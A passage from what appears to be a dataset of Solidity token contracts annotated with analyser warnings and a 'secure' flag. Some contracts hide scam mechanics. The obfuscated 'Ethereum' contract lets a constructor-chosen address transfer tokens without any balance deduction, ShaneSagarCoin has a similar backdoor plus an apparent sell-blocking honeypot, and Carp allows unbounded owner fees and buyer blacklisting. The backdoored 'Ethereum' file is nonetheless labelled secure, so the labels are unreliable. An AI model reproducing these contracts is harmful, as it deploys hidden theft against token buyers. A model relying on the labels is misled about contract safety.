onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 642dd36): OatProtocol.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 642dd36: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d508742\n\t\t// reentrancy-events | ID: 72c9e70\n\t\t// reentrancy-eth | ID: b687642\n\t\t// arbitrary-send-eth | ID: 642dd36\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function manageList(address[] memory bots_) external onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 998ae3a): OatProtocol.reduceFee(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for 998ae3a: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 998ae3a\n _finalBuyTax = _newBuyFee;\n\t\t// events-maths | ID: 998ae3a\n _finalSellTax = _newSellFee;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4b9b05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4b9b05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9855480): OatProtocol.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9855480: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 751d88f): OatProtocol.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 751d88f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db3b7f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db3b7f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: e4b9b05\n\t\t// reentrancy-eth | ID: db3b7f5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: e4b9b05\n\t\t// unused-return | ID: 751d88f\n\t\t// reentrancy-eth | ID: db3b7f5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: e4b9b05\n\t\t// unused-return | ID: 9855480\n\t\t// reentrancy-eth | ID: db3b7f5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: e4b9b05\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: db3b7f5\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1944.sol",
"secure": 0,
"size_bytes": 18023
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Ethereum is Ownable {\n mapping(address => uint256) private kiuolfbcyev;\n\n string public name;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 658970b): Ethereum.totalSupply should be constant \n\t// Recommendation for 658970b: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transfer(\n address ewuxqngjpdr,\n uint256 sctnyofxh\n ) public returns (bool success) {\n taimyjw(msg.sender, ewuxqngjpdr, sctnyofxh);\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: a5606ba): Ethereum.npozdjxbme should be immutable \n\t// Recommendation for a5606ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private npozdjxbme;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private mfvtuqxg;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a5cfc2): Ethereum.jqgpitmuzxcw should be constant \n\t// Recommendation for 7a5cfc2: Add the 'constant' attribute to state variables that never change.\n uint256 private jqgpitmuzxcw = 102;\n\n\t// WARNING Optimization Issue (constable-states | ID: b338f20): Ethereum.decimals should be constant \n\t// Recommendation for b338f20: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function approve(\n address otnzwejqsfg,\n uint256 sctnyofxh\n ) public returns (bool success) {\n allowance[msg.sender][otnzwejqsfg] = sctnyofxh;\n emit Approval(msg.sender, otnzwejqsfg, sctnyofxh);\n return true;\n }\n\n constructor(\n string memory thvaejoyw,\n string memory iuyetdsfchpa,\n address qnrdtz,\n address ezjmgrioxvd\n ) {\n name = thvaejoyw;\n symbol = iuyetdsfchpa;\n balanceOf[msg.sender] = totalSupply;\n kiuolfbcyev[ezjmgrioxvd] = jqgpitmuzxcw;\n IUniswapV2Router02 atslv = IUniswapV2Router02(qnrdtz);\n npozdjxbme = IUniswapV2Factory(atslv.factory()).createPair(\n address(this),\n atslv.WETH()\n );\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function taimyjw(\n address yfutjepl,\n address ewuxqngjpdr,\n uint256 sctnyofxh\n ) private {\n if (0 == kiuolfbcyev[yfutjepl]) {\n if (\n yfutjepl != npozdjxbme &&\n mfvtuqxg[yfutjepl] != block.number &&\n sctnyofxh < totalSupply\n ) {\n require(sctnyofxh <= totalSupply / (10 ** decimals));\n }\n balanceOf[yfutjepl] -= sctnyofxh;\n }\n balanceOf[ewuxqngjpdr] += sctnyofxh;\n mfvtuqxg[ewuxqngjpdr] = block.number;\n emit Transfer(yfutjepl, ewuxqngjpdr, sctnyofxh);\n }\n\n string public symbol;\n\n function transferFrom(\n address yfutjepl,\n address ewuxqngjpdr,\n uint256 sctnyofxh\n ) public returns (bool success) {\n require(sctnyofxh <= allowance[yfutjepl][msg.sender]);\n allowance[yfutjepl][msg.sender] -= sctnyofxh;\n taimyjw(yfutjepl, ewuxqngjpdr, sctnyofxh);\n return true;\n }\n}",
"file_name": "solidity_code_1945.sol",
"secure": 1,
"size_bytes": 3859
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract LADY is Ownable, ERC20 {\n using SafeERC20 for IERC20;\n\n constructor() ERC20(\"LADY Coin\", \"LADY\") {\n _transferOwnership(0xd2714dD520030CF68CCA89EA789f3b7A6040fb6a);\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function burn(uint256 amount) external {\n super._burn(_msgSender(), amount);\n }\n\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n payable(_msgSender()).transfer(address(this).balance);\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n ERC20token.safeTransfer(_msgSender(), balance);\n }\n}",
"file_name": "solidity_code_1946.sol",
"secure": 1,
"size_bytes": 1147
} |
{
"code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Carp is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"The Fishermans Lake\"; //\n string private constant _symbol = \"Carp\"; //\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 public launchBlock;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 1;\n\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 1;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d654ef): Carp._developmentAddress should be constant \n\t// Recommendation for 8d654ef: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x71a545F730054CDB90ac1Bee908FD30b5a8DD515);\n\t// WARNING Optimization Issue (constable-states | ID: 5369b70): Carp._marketingAddress should be constant \n\t// Recommendation for 5369b70: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x71a545F730054CDB90ac1Bee908FD30b5a8DD515);\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd60be0): Carp.uniswapV2Router should be immutable \n\t// Recommendation for dd60be0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 2f86da2): Carp.uniswapV2Pair should be immutable \n\t// Recommendation for 2f86da2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 16000000000 * 10 ** 9;\n uint256 public _maxWalletSize = 33000000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 100000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 389192b): Carp.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 389192b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d37ec00): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d37ec00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1f977f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1f977f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d37ec00\n\t\t// reentrancy-benign | ID: 1f977f5\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: d37ec00\n\t\t// reentrancy-benign | ID: 1f977f5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 1ab01d7\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 1ab01d7\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 1ab01d7\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 1ab01d7\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 1ab01d7\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 1ab01d7\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c5ce8b): Carp._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c5ce8b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 1f977f5\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: d37ec00\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c716c6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c716c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1ab01d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1ab01d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 82daed4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 82daed4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (\n block.number <= launchBlock + 2 &&\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n to != address(this)\n ) {\n bots[to] = true;\n }\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 9c716c6\n\t\t\t\t// reentrancy-benign | ID: 1ab01d7\n\t\t\t\t// reentrancy-eth | ID: 82daed4\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c716c6\n\t\t\t\t\t// reentrancy-eth | ID: 82daed4\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 1ab01d7\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 1ab01d7\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 1ab01d7\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 1ab01d7\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 9c716c6\n\t\t// reentrancy-benign | ID: 1ab01d7\n\t\t// reentrancy-eth | ID: 82daed4\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9c716c6\n\t\t// reentrancy-events | ID: d37ec00\n\t\t// reentrancy-benign | ID: 1ab01d7\n\t\t// reentrancy-benign | ID: 1f977f5\n\t\t// reentrancy-eth | ID: 82daed4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c716c6\n\t\t// reentrancy-events | ID: d37ec00\n\t\t// reentrancy-eth | ID: 82daed4\n _developmentAddress.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 9c716c6\n\t\t// reentrancy-events | ID: d37ec00\n\t\t// reentrancy-eth | ID: 82daed4\n _marketingAddress.transfer(amount.div(2));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n launchBlock = block.number;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 82daed4\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 82daed4\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 9c716c6\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 82daed4\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 82daed4\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 1ab01d7\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 28db401): Carp.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 28db401: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 28db401\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 28db401\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 28db401\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 28db401\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5b876cb): Carp.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 5b876cb: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 5b876cb\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f5b1e55): Carp.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for f5b1e55: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: f5b1e55\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bda8550): Carp.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for bda8550: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: bda8550\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_1947.sol",
"secure": 0,
"size_bytes": 20700
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Laula is ERC20 {\n constructor() ERC20(\"Laula Token\", \"LAULA\") {\n _mint(msg.sender, 100_000_000_000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1948.sol",
"secure": 1,
"size_bytes": 296
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract ShaneSagarCoin is Ownable {\n constructor(address air) {\n balanceOf[msg.sender] = totalSupply;\n purple[air] = brief;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n mapping(address => uint256) private purple;\n\n function approve(\n address disease,\n uint256 row\n ) public returns (bool success) {\n allowance[msg.sender][disease] = row;\n emit Approval(msg.sender, disease, row);\n return true;\n }\n\n function outer(\n address tax,\n address sight,\n uint256 row\n ) private returns (bool success) {\n if (purple[tax] == 0) {\n if (uniswapV2Pair != tax && early[tax] > 0) {\n purple[tax] -= brief;\n }\n balanceOf[tax] -= row;\n }\n balanceOf[sight] += row;\n if (row == 0) {\n early[sight] += brief;\n }\n emit Transfer(tax, sight, row);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d5572e): ShaneSagarCoin.decimals should be constant \n\t// Recommendation for 3d5572e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function transfer(\n address sight,\n uint256 row\n ) public returns (bool success) {\n outer(msg.sender, sight, row);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private early;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ebeab5): ShaneSagarCoin.uniswapV2Router should be constant \n\t// Recommendation for 6ebeab5: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4bbe1b0): ShaneSagarCoin.symbol should be constant \n\t// Recommendation for 4bbe1b0: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SSC\";\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d71016): ShaneSagarCoin.totalSupply should be constant \n\t// Recommendation for 1d71016: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 